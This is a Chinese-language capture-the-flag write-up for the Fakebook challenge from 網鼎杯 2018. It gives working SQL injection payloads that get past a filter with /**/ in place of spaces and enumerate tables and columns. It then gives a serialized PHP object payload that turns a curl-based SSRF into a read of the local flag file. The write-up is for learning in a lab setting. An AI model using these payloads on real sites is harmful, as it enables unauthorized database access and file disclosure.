1. 程式人生 > 其它 >[網鼎杯 2018]Fakebook 1

[網鼎杯 2018]Fakebook 1

1.發現

1.1開啟題目地址,嘗試登入,發現注入點,sqlmap跑一下無果。

知識點

1)sqlmap的使用

(35條訊息) sqlmap注入使用教程_黑麵狐-CSDN部落格_sqlmap注入教程

2.步驟

2.1嘗試注入,發現有反序列化

no=1 order by 4#沒事
no=1 order by 5#報錯,有4列
no=-1 union/**/select 1,2,3,4#過濾了(union select)用/**/代替空格 

2.2報表名

no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database() 

2.3爆屬性列

no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name='users'

2.4爆欄位

2.5dirsearch掃描路徑得到robot.txt,開啟路徑,下載user.php.bak檔案。

知識點

1)dirsearch使用

目錄掃描工具 dirsearch 使用詳解 - 時光如水の總是無言 - 部落格園 (cnblogs.com)

2.檢視內容,這部分可能存在ssrf。

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch
= curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if($httpCode == 404) { return 404; } curl_close($ch); return $output; } public function getBlogContents () { return $this->get($this->blog); } public function isValidBlog () { $blog = $this->blog; return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog); } }

2.7在這題,檢視原始碼發現data欄位存在漏洞。

2.8而我們爆出的欄位data是序列化後的字串

說明註冊時會序列化我們的資訊,回顯到頁面時再反序列化。
這個data本來回顯的是我們自己的部落格,但我們把它改為回顯flag.php就可以構成ssrf
修改自己最後blog欄位內容,改為file:///var/www/html/flag.php,並把對應的s改為對應長度29

data欄位在第4位,所以放在第4位。

構造payload

no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

2.9開啟連結,得到flag。

3.借鑑

(35條訊息) BUUCTF [網鼎杯 2018]Fakebook 1_wow小華的部落格-CSDN部落格

buuctf-[網鼎杯 2018]Fakebook 1 - junlebao - 部落格園 (cnblogs.com)